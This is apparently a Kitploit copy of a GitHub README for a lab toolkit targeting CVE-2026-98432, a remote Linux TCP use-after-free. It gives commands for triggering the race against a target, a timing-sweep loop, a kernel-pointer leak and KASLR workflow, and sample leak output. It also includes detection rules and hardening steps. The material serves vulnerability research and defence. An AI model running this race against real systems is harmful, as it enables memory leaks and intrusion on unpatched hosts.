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CVE-2026-98432 — Laboratory toolkit for CVE-2026-98432 Linux TCP ireq_opt use-after-free: race trigger with heap-reuse oracle, leak parser, KASLR resolver, pcap analysis, IDS rules and hardening. | Kitploit
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GitHubh1z3-br0/cve-2026-98432

CVE-2026-98432

Laboratory toolkit for CVE-2026-98432 Linux TCP ireq_opt use-after-free: race trigger with heap-reuse oracle, leak parser, KASLR resolver, pcap analysis, IDS rules and hardening.

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CVE-2026-98432 research toolkit

A small, tested laboratory toolkit for CVE-2026-98432, a remote use-after-free in the Linux IPv4/TCP stack (CVSS 9.8). It contains a race trigger with a heap-reuse oracle, a leak parser, a KASLR resolver, pcap analysis, IDS rules and hardening helpers.

[!WARNING] This is attack tooling. Run it only against machines you own, inside an isolated lab. The vulnerability is remote and needs no credentials on the target. The tool refuses public addresses unless you explicitly pass --allow-public.

What this is

  • a trigger for the ireq_opt race, with a precise, configurable timing model;
  • an oracle that proves memory reuse instead of guessing: every attempt carries a unique marker in its IP options, and a SYN-ACK that echoes a different attempt's marker means the kernel read a freed object;
  • a leak workflow: anomalous SYN-ACKs are dumped to pcap, scanned for kernel pointers, and a leaked text pointer can be turned into a KASLR slide with a System.map;
  • detection and mitigation material: pcap analyzer, Suricata rules, a patch checker and a hardening script.

What this is not

  • not a one-click root exploit. It stops at a confirmed use-after-free and a memory leak. Stage 3 (KASLR bypass, heap grooming, payload) is described in docs/analysis.md, but not implemented: without a specific kernel build it would be fiction.
  • not a scanner. It talks to one target you name.

Requirements

TargetLinux with an IPv4 TCP listener, kernel older than the fix
AttackerLinux, CAP_NET_RAW, a C compiler, Python 3.8+
Recommendedtwo VMs or a VM plus a host, same L2 network

--mode raw additionally needs CAP_NET_ADMIN to install two iptables rules (the tool prints them).

Quick start

make                      # builds bin/cve_2026_98432
make check                # full offline test suite, no packets sent
./bin/cve_2026_98432 --check

In the lab:

# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000

# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
    --workers 16 --spray 4 --duration 600 --pcap hits.pcap

# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap

The exit code is 0 when the oracle saw a reused option block (proof of the use-after-free), 3 when it did not, and 1/2 on errors.

A laboratory run has already confirmed the UAF oracle: the SYN-ACK carried another request's marker, proving the kernel read a reused option object. See docs/verified-hit.md. Stage 2 (turning the reuse into a kernel-pointer leak) is implemented and instrumented but not reproduced yet; see docs/stage2-leak.md. No public weaponised RCE chain exists as of 2026-11-02: Anthropic's chain is described only in prose, and the most detailed independent work stops at a controlled dereference on an instrumented kernel.

Reproduce in a VM

lab/build-lab.sh downloads Linux 6.12.112, reverts the two-line fix, builds a kernel and boots it in QEMU together with the tool and a listener. See lab/README.md for requirements and the in-VM commands.

Building and testing

make              # optimised build
make test         # C unit tests + built-in self-test
make san          # UBSan locally, ASan+UBSan on Linux
make check        # everything: clean build, unit tests, sanitizers, Python, shell

make check never opens a socket. It covers packet construction and parsing, checksums, both marker flavours, the pointer classifier, the pcap writer, a parser fuzz pass, the analyzers, the shell helpers, the CLI and the safety guard. See docs/analysis.md for the full matrix.

Using the tool

modewhat it doesnetwork
--checkcompares the running kernel with the fix table, prints MPTCP and tcp_migrate_req statenone
--selftestbuilt-in smoke testnone
--emit-demo FILEwrites a synthetic UAF capture (for testing the analyzer)none
--dump-configprints the normalized configurationnone
--probe IP:PORTone SYN with MP_CAPABLE, detects an MPTCP listenerone packet
--race IP:PORTthe actual racemany packets

Common race options:

--workers N        concurrent attempts (default 8)
--duration S       stop after S seconds
--spray N          heap-spray threads
--dup-burst N      duplicate SYNs per attempt (lab tuning)
--mode raw|socket  who owns the handshake (default socket)
--rtt-lead US      send the duplicate SYN this early (may be negative)
--rst-delta US     RST offset after the predicted ACK
--jitter US        randomize both offsets
--pcap FILE        write anomalous frames

Run ./bin/cve_2026_98432 --help for the full list.

Reading the output

[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
fieldmeaning
attemptshandshakes started
synacksSYN-ACKs observed
hitsSYN-ACK carried another attempt's marker: use-after-free confirmed
anomaliesoption blob did not parse as ours (possible leaked bytes)
malformedIPv4 ihl < 5, the underflow signature
marker echoedSYN-ACKs that carried our TS marker
rttcurrent round-trip estimate used for timing

A hit looks like this:

[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
    ipopts[40] = 44280500...bbbb0002...
    kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000

Tuning the race

The race is a preemption lottery, but the timing still matters. Start with the defaults on loopback or a LAN, then sweep:

for lead in 0 10 30 60 120; do
  for delta in -20 0 20 60; do
    ./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
        --duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
  done
done
  • Closer is better: loopback or the same switch beats the internet by orders of magnitude.
  • More workers and spray threads increase scheduler pressure, which is what widens the window.
  • A failed attempt costs one handshake; nothing crashes.

Detection

python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d

Suricata rules are in tools/suricata.rules. The two high-value signatures are an inbound TCP SYN with IP options and an IPv4 header with ihl < 5.

Mitigation

  1. Patch the kernel. If you have a source tree: tools/fix_check.sh /path/to/linux.
  2. Disable MPTCP if you do not use it: sysctl -w net.mptcp.enabled=0.
  3. Disable request migration: sysctl -w net.ipv4.tcp_migrate_req=0.
  4. Drop IP options at the perimeter: iptables -A INPUT -m ipv4options --rr --ts --ssrr --lsrr --ra --sec --cipso --sid -j DROP or nft add rule ip filter input ip hdrlength != 5 drop.
  5. Use tools/harden.sh --apply to apply 2–4 in one go (dry run by default).

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